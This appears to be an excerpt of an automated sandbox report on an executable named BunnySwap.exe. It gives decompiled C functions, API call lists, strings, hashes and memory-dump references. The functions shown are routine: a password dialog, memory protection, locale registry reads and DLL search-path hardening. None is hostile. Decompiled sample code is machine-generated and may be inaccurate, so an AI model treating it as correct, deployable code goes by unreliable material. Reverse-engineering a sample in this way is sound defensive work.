				signed int _t29;
				signed int _t31;
				signed int _t33;
				struct HWND__* _t47;
				void* _t52;

				E0110E1C0();
				if( *0x113b572 == 0) {
					_t47 =  *0x1137438; // 0x1f0210
					if(_a4 == 2) {
						_t23 = IsWindowVisible(_t47);
						asm("sbb eax, eax");
						_t47 = _t47 &  ~_t23;
					}
					E010FB556(_a8, _a12,  &_v4100, 0x800);
					_t18 = DialogBoxParamW( *0x112fed4, L"GETPASSWORD1", _t47, E0110A8E0,  &_v4100);
					_t26 = _a16;
					if(_t18 == 0) {
						E010FEBED(_t26, _t26, 0x11225b4);
						 *0x1137447 = 1;
						_t20 = 0;
					} else {
						_t31 = 0x40;
						memcpy(_t26, 0x1145a70, _t31 << 2);
						_t52 = _t52 + 0xc;
						_t20 = 1;
						asm("movsw");
					}
					if( *((char*)(_t26 + 0x100)) != 0) {
						_t29 = 0x40;
						_t20 = memcpy(0x113b472, _t26, _t29 << 2);
						asm("movsw");
					}
				} else {
					_t33 = 0x40;
					_t20 = memcpy(_a16, 0x113b472, _t33 << 2);
					asm("movsw");
				}
				return _t20;
			}

0x0110d2ab
0x0110d2bc
0x0110d2d6
0x0110d2dc
0x0110d2df
0x0110d2e7
0x0110d2e9
0x0110d2e9
0x0110d2fe
0x0110d31b
0x0110d321
0x0110d326
0x0110d342
0x0110d347
0x0110d34e
0x0110d328
0x0110d32a
0x0110d332
0x0110d332
0x0110d336
0x0110d337
0x0110d337
0x0110d357
0x0110d35b
0x0110d363
0x0110d365
0x0110d365
0x0110d2be
0x0110d2c8
0x0110d2c9
0x0110d2cb
0x0110d2cb
0x0110d36d

APIs

IsWindowVisible.USER32(001F0210), ref: 0110D2DF
DialogBoxParamW.USER32(GETPASSWORD1,001F0210,0110A8E0,?,?), ref: 0110D31B

Strings

GETPASSWORD1, xrefs: 0110D310

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: 2a169b740e4f48f8ee5790a15d3a1c7bfc8a1d6d0382488d08e77503bf5ef667
Instruction ID: 46a23065c13ed9f9c54b7aa567c25087a5a6813d9ddc472290b0a2b914cfeaf6
Opcode Fuzzy Hash: 2a169b740e4f48f8ee5790a15d3a1c7bfc8a1d6d0382488d08e77503bf5ef667
Instruction Fuzzy Hash: F1112C72A08218ABDB2B99B8AC01BE73798BB09711F044078FE45AB1C4C7F09C90D754

Uniqueness

Uniqueness Score: -1.00%

Function 010FEB32, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 010FEAB3: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 010FEAD2
Part of subcall function 010FEAB3: GetProcAddress.KERNEL32(011371C0,CryptUnprotectMemory), ref: 010FEAE2

GetCurrentProcessId.KERNEL32(?,?,?,010FEB2C), ref: 010FEBC4

Strings

CryptUnprotectMemory failed, xrefs: 010FEBBC
CryptProtectMemory failed, xrefs: 010FEB7B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 7f157b3dece9791ce4507da3823c0bed415244916ed585299cd6068abc7f0dfe
Instruction ID: 816ac74a6d8f3b554df353aaefc33395e20c704e855fcd03b02b027ec3b667c3
Opcode Fuzzy Hash: 7f157b3dece9791ce4507da3823c0bed415244916ed585299cd6068abc7f0dfe
Instruction Fuzzy Hash: 36115C32A046296BDB395F24DC02FAF3B95EF01620B05405DFE936B695C775AD4087E0

Uniqueness

Uniqueness Score: -1.00%

Function 010F130B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E010F130B(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E010FD9B1(0x112fee8, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E010FD9D8(0x112fee8, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0x1151154(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0x11225b4);
								}
							}
						}
					}
				}
				return 0;
			}

0x010f1312
0x010f1375
0x010f1314
0x010f1314
0x010f131b
0x010f1331
0x010f133a
0x010f133f
0x010f1347
0x010f134f
0x010f1357
0x010f1365
0x010f1365
0x010f1357
0x010f1347
0x010f133a
0x010f131b
0x010f137d

APIs

Part of subcall function 010FD9D8: _swprintf.LIBCMT ref: 010FD9FE
Part of subcall function 010FD9D8: _strlen.LIBCMT ref: 010FDA1F
Part of subcall function 010FD9D8: SetDlgItemTextW.USER32(?,0112D154,?), ref: 010FDA7F
Part of subcall function 010FD9D8: GetWindowRect.USER32(?,?), ref: 010FDAB9
Part of subcall function 010FD9D8: GetClientRect.USER32(?,?), ref: 010FDAC5

GetDlgItem.USER32(00000000,00003021), ref: 010F134F
SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

Strings

0, xrefs: 010F130E

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 3e5b94aa9ef153a9717115af5de6ca873e0191fff84faa0717aaee0c671b16d6
Instruction ID: ed24903a7abf9da465e306fce8613198cd0e94b15438be8fcacd10dd129eed92
Opcode Fuzzy Hash: 3e5b94aa9ef153a9717115af5de6ca873e0191fff84faa0717aaee0c671b16d6
Instruction Fuzzy Hash: 74F06970108348E6EF2A0EA5980ABE93FA9EB20245F08C098FE8554D91C7748191DB10

Uniqueness

Uniqueness Score: -1.00%

Function 011007AC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E011007AC(void* __ecx, void* __ebp, void* _a4) {
				void* __esi;
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					return E010F6E21(E010F6E26(_t6, 0x112ff50, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff), 0x112ff50, 0x112ff50, 2);
				}
				return _t2;
			}

0x011007ac
0x011007b2
0x011007bb
0x011007c4
0x00000000
0x011007e3
0x011007e4

APIs

WaitForSingleObject.KERNEL32(?,000000FF,011008CB,?,?,0110094F,?,?,?,?,?,01100939), ref: 011007B2
GetLastError.KERNEL32(?,?,0110094F,?,?,?,?,?,01100939), ref: 011007BE

Part of subcall function 010F6E26: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F6E44

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 011007C7

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 500903a9c06914546a53d2bfe87a4243e96d36552595ef4492534e49707414ae
Instruction ID: c281e1a7441d54b71fd1509001854fd9fbd0e81db2a775a8e8983f815eb7000c
Opcode Fuzzy Hash: 500903a9c06914546a53d2bfe87a4243e96d36552595ef4492534e49707414ae
Instruction Fuzzy Hash: ECD05B3390843277D5192A64AC09FEF391B9B56730F10471DF379651D4CB390DA186D6

Uniqueness

Uniqueness Score: -1.00%

Function 010FD98E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FD98E(void* __ecx) {
				struct HRSRC__* _t3;
				void* _t5;

				_t5 = __ecx;
				_t3 = FindResourceW(GetModuleHandleW(0), L"RTL", 5);
				if(_t3 != 0) {
					 *((char*)(_t5 + 0x64)) = 1;
					return _t3;
				}
				return _t3;
			}

0x010fd991
0x010fd9a1
0x010fd9a9
0x010fd9ab
0x00000000
0x010fd9ab
0x010fd9b0

APIs

GetModuleHandleW.KERNEL32(00000000,?,010FD26F,?), ref: 010FD993
FindResourceW.KERNEL32(00000000,RTL,00000005,?,010FD26F,?), ref: 010FD9A1

Strings

RTL, xrefs: 010FD99B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: e94946b6e9f57eaf96d4b76e43ae1682ea2d33a06f20fe12e6cff8c2478eec36
Instruction ID: ad7ed8b9b64974ba0ad1faa77945e46b6dcd3a1663580fa105c14b29221e3e95
Opcode Fuzzy Hash: e94946b6e9f57eaf96d4b76e43ae1682ea2d33a06f20fe12e6cff8c2478eec36
Instruction Fuzzy Hash: 47C0123134532176EB382B656C0DB4B2D4A6B50B51F05055CF281D9184D6F9C490C751

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BunnySwap.exe PID: 6744 Parent PID: 6532 BunnySwap.exeCOMMON

Executed Functions

Function 0040B044, Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040B044(char __eax, void* __ebx, intOrPtr* __edx, void* __eflags) {
				char _v8;
				short _v12;
				void* _v16;
				char _v20;
				char _v24;
				void* _t29;
				void* _t40;
				intOrPtr* _t44;
				intOrPtr _t55;
				void* _t61;

				_push(__ebx);
				_v24 = 0;
				_v20 = 0;
				_t44 = __edx;
				_v8 = __eax;
				E00407B04(_v8);
				_push(_t61);
				_push(0x40b104);
				_push( *[fs:eax]);
				 *[fs:eax] = _t61 + 0xffffffec;
				_t21 =  &_v16;
				L00403730();
				GetLocaleInfoW( &_v16 & 0x0000ffff, 3, _t21, 4);
				E0040858C( &_v20, 4,  &_v16);
				E0040873C(_t44, _v20, _v8);
				_t29 = E0040AEF4( *_t44, _t44); // executed
				if(_t29 == 0) {
					_v12 = 0;
					E0040858C( &_v24, 4,  &_v16);
					E0040873C(_t44, _v24, _v8);
					_t40 = E0040AEF4( *_t44, _t44); // executed
					if(_t40 == 0) {
						E00407A20(_t44);
					}
				}
				_pop(_t55);
				 *[fs:eax] = _t55;
				_push(E0040B10B);
				E00407A80( &_v24, 2);
				return E00407A20( &_v8);
			}

0x0040b04a
0x0040b04d
0x0040b050
0x0040b053
0x0040b055
0x0040b05b
0x0040b062
0x0040b063
0x0040b068
0x0040b06b
0x0040b070
0x0040b076
0x0040b07f
0x0040b08f
0x0040b09c
0x0040b0a3
0x0040b0aa
0x0040b0ac
0x0040b0bd
0x0040b0ca
0x0040b0d1
0x0040b0d8
0x0040b0dc
0x0040b0dc
0x0040b0d8
0x0040b0e3
0x0040b0e6
0x0040b0e9
0x0040b0f6
0x0040b103

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,0040B104,?,?), ref: 0040B076
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,0040B104,?,?), ref: 0040B07F

Part of subcall function 0040AEF4: FindFirstFileW.KERNEL32(00000000,?,00000000,0040AF52,?,?), ref: 0040AF27
Part of subcall function 0040AEF4: FindClose.KERNEL32(00000000,00000000,?,00000000,0040AF52,?,?), ref: 0040AF37

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 044937d21d1936a91ef9b6e1a310017a9e27582e27e23f6d989339badd03c388
Instruction ID: a9cfc37755e84068b6e5d0711ea0537dd567252b91127d2e7da10f621904fc04
Opcode Fuzzy Hash: 044937d21d1936a91ef9b6e1a310017a9e27582e27e23f6d989339badd03c388
Instruction Fuzzy Hash: 35113674A041099BDB00EB95C9529AEB3B9EF44304F50447FA515B73C1DB785E058A6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEF4, Relevance: 3.0, APIs: 2, Instructions: 33
fileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040AEF4(char __eax, signed int __ebx) {
				char _v8;
				struct _WIN32_FIND_DATAW _v600;
				void* _t15;
				intOrPtr _t24;
				void* _t27;

				_push(__ebx);
				_v8 = __eax;
				E00407B04(_v8);
				_push(_t27);
				_push(0x40af52);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27 + 0xfffffdac;
				_t15 = FindFirstFileW(E004084EC(_v8),  &_v600); // executed
				if((__ebx & 0xffffff00 | _t15 != 0xffffffff) != 0) {
					FindClose(_t15);
				}
				_pop(_t24);
				 *[fs:eax] = _t24;
				_push(E0040AF59);
				return E00407A20( &_v8);
			}

0x0040aefd
0x0040aefe
0x0040af04
0x0040af0b
0x0040af0c
0x0040af11
0x0040af14
0x0040af27
0x0040af34
0x0040af37
0x0040af37
0x0040af3e
0x0040af41
0x0040af44
0x0040af51

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040AF52,?,?), ref: 0040AF27
FindClose.KERNEL32(00000000,00000000,?,00000000,0040AF52,?,?), ref: 0040AF37

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: bba38ffe097e2c5d51b68bca4dd41d34791c3125f335f0c7ddbac3aaaf9dd96f
Instruction ID: b27eefbf95a445daf5872925c41aeb1c7ded3ce7930a436f9b8cfd192dc84724
Opcode Fuzzy Hash: bba38ffe097e2c5d51b68bca4dd41d34791c3125f335f0c7ddbac3aaaf9dd96f
Instruction Fuzzy Hash: 5FF0B471518209BFC710FB75CD4294EB7ACEB043147A005B6B504F32C1E638AF149519

Uniqueness

Uniqueness Score: -1.00%

Function 004B5114, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 165
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E004B5114(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				long _t39;
				_Unknown_base(*)()* _t42;
				_Unknown_base(*)()* _t43;
				_Unknown_base(*)()* _t46;
				signed int _t51;
				void* _t111;
				void* _t112;
				intOrPtr _t129;
				struct HINSTANCE__* _t148;
				intOrPtr* _t150;
				intOrPtr _t152;
				intOrPtr _t153;

				_t152 = _t153;
				_t112 = 7;
				do {
					_push(0);
					_push(0);
					_t112 = _t112 - 1;
				} while (_t112 != 0);
				_push(_t152);
				_push(0x4b5388);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				 *0x4be664 =  *0x4be664 - 1;
				if( *0x4be664 >= 0) {
					L19:
					_pop(_t129);
					 *[fs:eax] = _t129;
					_push(0x4b538f);
					return E00407A80( &_v60, 0xe);
				} else {
					_t148 = GetModuleHandleW(L"kernel32.dll");
					_t39 = GetVersion();
					_t111 = 0;
					if(_t39 != 0x600) {
						_t150 = GetProcAddress(_t148, "SetDefaultDllDirectories");
						if(_t150 != 0) {
							 *_t150(0x800);
							asm("sbb ebx, ebx");
							_t111 = 1;
						}
					}
					if(_t111 == 0) {
						_t46 = GetProcAddress(_t148, "SetDllDirectoryW");
						if(_t46 != 0) {
							 *_t46(0x4b53e4);
						}
						E0040E520( &_v8);
						E00407E00(0x4be668, _v8);
						if( *0x4be668 != 0) {
							_t51 =  *0x4be668;
							if(_t51 != 0) {
								_t51 =  *(_t51 - 4);
							}
							if( *((short*)( *0x4be668 + _t51 * 2 - 2)) != 0x5c) {
								E004086E4(0x4be668, 0x4b53f4);
							}
							E0040873C( &_v12, L"uxtheme.dll",  *0x4be668);
							E0040E54C(_v12, _t111);
							E0040873C( &_v16, L"userenv.dll",  *0x4be668);
							E0040E54C(_v16, _t111);
							E0040873C( &_v20, L"setupapi.dll",  *0x4be668);
							E0040E54C(_v20, _t111);
							E0040873C( &_v24, L"apphelp.dll",  *0x4be668);
							E0040E54C(_v24, _t111);
							E0040873C( &_v28, L"propsys.dll",  *0x4be668);
							E0040E54C(_v28, _t111);
							E0040873C( &_v32, L"dwmapi.dll",  *0x4be668);
							E0040E54C(_v32, _t111);
							E0040873C( &_v36, L"cryptbase.dll",  *0x4be668);
							E0040E54C(_v36, _t111);
							E0040873C( &_v40, L"oleacc.dll",  *0x4be668);
							E0040E54C(_v40, _t111);
							E0040873C( &_v44, L"version.dll",  *0x4be668);
							E0040E54C(_v44, _t111);
							E0040873C( &_v48, L"profapi.dll",  *0x4be668);
							E0040E54C(_v48, _t111);
							E0040873C( &_v52, L"comres.dll",  *0x4be668);
							E0040E54C(_v52, _t111);
							E0040873C( &_v56, L"clbcatq.dll",  *0x4be668);
							E0040E54C(_v56, _t111);
							E0040873C( &_v60, L"ntmarta.dll",  *0x4be668);
							E0040E54C(_v60, _t111);
						}
					}
					_t42 = GetProcAddress(_t148, "SetSearchPathMode");
					if(_t42 != 0) {
						 *_t42(0x8001);
					}
					_t43 = GetProcAddress(_t148, "SetProcessDEPPolicy");
					if(_t43 != 0) {
						 *_t43(1); // executed
					}
					goto L19;
				}
			}

0x004b5115
0x004b5117
0x004b511c
0x004b511c
0x004b511e
0x004b5120
0x004b5120
0x004b5128
0x004b5129
0x004b512e
0x004b5131
0x004b5134
0x004b513b
0x004b536d
0x004b536f
0x004b5372
0x004b5375
0x004b5387
0x004b5141
0x004b514b
0x004b514d
0x004b5154
0x004b515a
0x004b5167
0x004b516b
0x004b5172
0x004b5177
0x004b5179
0x004b5179
0x004b516b
0x004b517c
0x004b5188
0x004b518f
0x004b5196
0x004b5196
0x004b519b
0x004b51a8
0x004b51b4
0x004b51ba
0x004b51c1
0x004b51c6
0x004b51c6
0x004b51d4
0x004b51e0
0x004b51e0
0x004b51f3
0x004b51fb
0x004b520e
0x004b5216
0x004b5229
0x004b5231
0x004b5244
0x004b524c
0x004b525f
0x004b5267
0x004b527a
0x004b5282
0x004b5295
0x004b529d
0x004b52b0
0x004b52b8
0x004b52cb
0x004b52d3
0x004b52e6
0x004b52ee
0x004b5301
0x004b5309
0x004b531c
0x004b5324
0x004b5337
0x004b533f
0x004b533f
0x004b51b4
0x004b534a
0x004b5351
0x004b5358
0x004b5358
0x004b5360
0x004b5367
0x004b536b
0x004b536b
0x00000000
0x004b5367

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,004B5388,?,?,?,?,00000000,00000000), ref: 004B5146
GetVersion.KERNEL32(kernel32.dll,00000000,004B5388,?,?,?,?,00000000,00000000), ref: 004B514D
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004B5162
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004B5188

Part of subcall function 0040E54C: SetErrorMode.KERNEL32(00008000), ref: 0040E55A
Part of subcall function 0040E54C: LoadLibraryW.KERNEL32(00000000,00000000,0040E5AE,?,00000000,0040E5CC,?,00008000), ref: 0040E58F

GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004B534A
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004B5360
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,00000000,004B5388,?,?,?,?,00000000,00000000), ref: 004B536B

Strings

SetProcessDEPPolicy, xrefs: 004B535A
hK, xrefs: 004B51D6
uxtheme.dll, xrefs: 004B51E8
hK, xrefs: 004B51A3
comres.dll, xrefs: 004B52F6
userenv.dll, xrefs: 004B5203
SetDllDirectoryW, xrefs: 004B5182
propsys.dll, xrefs: 004B5254
setupapi.dll, xrefs: 004B521E
profapi.dll, xrefs: 004B52DB
oleacc.dll, xrefs: 004B52A5
kernel32.dll, xrefs: 004B5141
clbcatq.dll, xrefs: 004B5311
cryptbase.dll, xrefs: 004B528A
dwmapi.dll, xrefs: 004B526F
SetDefaultDllDirectories, xrefs: 004B515C
version.dll, xrefs: 004B52C0
apphelp.dll, xrefs: 004B5239
ntmarta.dll, xrefs: 004B532C
SetSearchPathMode, xrefs: 004B5344

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorHandleLibraryLoadModeModulePolicyProcessVersion
String ID: SetDefaultDllDirectories$SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$apphelp.dll$clbcatq.dll$comres.dll$cryptbase.dll$dwmapi.dll$hK$hK$kernel32.dll$ntmarta.dll$oleacc.dll$profapi.dll$propsys.dll$setupapi.dll$userenv.dll$uxtheme.dll$version.dll
API String ID: 2248137261-3182217745
Opcode ID: 68b2adb77f8f7151d30e1a894141e6e7486eaa9f98baa6450b00b79ea83e97ab
Instruction ID: 14362f36823de93a6bafc63c1bb5288ecf7b8ac372eee3bc1917329a49ba756d
Opcode Fuzzy Hash: 68b2adb77f8f7151d30e1a894141e6e7486eaa9f98baa6450b00b79ea83e97ab
Instruction Fuzzy Hash: 57513C34601504ABE701EBA6DC82FDEB3A5AB94348BA4493BE40077395DF7C9D428B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB18, Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173
registryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040AB18(char __eax, void* __ebx, void* __ecx, void* __edx) {
				char _v8;
				char* _v12;
				void* _v16;
				int _v20;
				short _v542;
				long _t51;
				long _t85;
				long _t87;
				long _t89;
				long _t91;
				long _t93;
				void* _t97;
				intOrPtr _t106;
				intOrPtr _t108;
				void* _t112;
				void* _t113;
				intOrPtr _t114;

				_t112 = _t113;
				_t114 = _t113 + 0xfffffde4;
				_t97 = __edx;
				_v8 = __eax;
				E00407B04(_v8);
				_push(_t112);
				_push(0x40ad3d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t114;
				if(_v8 != 0) {
					E0040A34C( &_v542, E004084EC(_v8), 0x105);
				} else {
					GetModuleFileNameW(0,  &_v542, 0x105);
				}
				if(_v542 == 0) {
					L18:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(E0040AD44);
					return E00407A20( &_v8);
				} else {
					_v12 = 0;
					_t51 = RegOpenKeyExW(0x80000001, L"Software\\Embarcadero\\Locales", 0, 0xf0019,  &_v16); // executed
					if(_t51 == 0) {
						L10:
						_push(_t112);
						_push(0x40ad20);
						_push( *[fs:eax]);
						 *[fs:eax] = _t114;
						E0040A928( &_v542, 0x105);
						if(RegQueryValueExW(_v16,  &_v542, 0, 0, 0,  &_v20) != 0) {
							if(RegQueryValueExW(_v16, E0040AE30, 0, 0, 0,  &_v20) == 0) {
								_v12 = E004053F0(_v20);
								RegQueryValueExW(_v16, E0040AE30, 0, 0, _v12,  &_v20);
								E00408550(_t97, _v12);
							}
						} else {
							_v12 = E004053F0(_v20);
							RegQueryValueExW(_v16,  &_v542, 0, 0, _v12,  &_v20);
							E00408550(_t97, _v12);
						}
						_pop(_t108);
						 *[fs:eax] = _t108;
						_push(E0040AD27);
						if(_v12 != 0) {
							E0040540C(_v12);
						}
						return RegCloseKey(_v16);
					} else {
						_t85 = RegOpenKeyExW(0x80000002, L"Software\\Embarcadero\\Locales", 0, 0xf0019,  &_v16); // executed
						if(_t85 == 0) {
							goto L10;
						} else {
							_t87 = RegOpenKeyExW(0x80000001, L"Software\\CodeGear\\Locales", 0, 0xf0019,  &_v16); // executed
							if(_t87 == 0) {
								goto L10;
							} else {
								_t89 = RegOpenKeyExW(0x80000002, L"Software\\CodeGear\\Locales", 0, 0xf0019,  &_v16); // executed
								if(_t89 == 0) {
									goto L10;
								} else {
									_t91 = RegOpenKeyExW(0x80000001, L"Software\\Borland\\Locales", 0, 0xf0019,  &_v16); // executed
									if(_t91 == 0) {
										goto L10;
									} else {
										_t93 = RegOpenKeyExW(0x80000001, L"Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v16); // executed
										if(_t93 != 0) {
											goto L18;
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				}
			}

0x0040ab19
0x0040ab1b
0x0040ab22
0x0040ab24
0x0040ab2a
0x0040ab31
0x0040ab32
0x0040ab37
0x0040ab3a
0x0040ab41
0x0040ab6d
0x0040ab43
0x0040ab51
0x0040ab51
0x0040ab7a
0x0040ad27
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad3c
0x0040ab80
0x0040ab82
0x0040ab9a
0x0040aba1
0x0040ac41
0x0040ac43
0x0040ac44
0x0040ac49
0x0040ac4c
0x0040ac5a
0x0040ac7b
0x0040acca
0x0040acd4
0x0040acec
0x0040acf6
0x0040acf6
0x0040ac7d
0x0040ac85
0x0040ac9f
0x0040aca9
0x0040aca9
0x0040acfd
0x0040ad00
0x0040ad03
0x0040ad0c
0x0040ad11
0x0040ad11
0x0040ad1f
0x0040aba7
0x0040abbc
0x0040abc3
0x00000000
0x0040abc5
0x0040abda
0x0040abe1
0x00000000
0x0040abe3
0x0040abf8
0x0040abff
0x00000000
0x0040ac01
0x0040ac16
0x0040ac1d
0x00000000
0x0040ac1f
0x0040ac34
0x0040ac3b
0x00000000
0x00000000
0x00000000
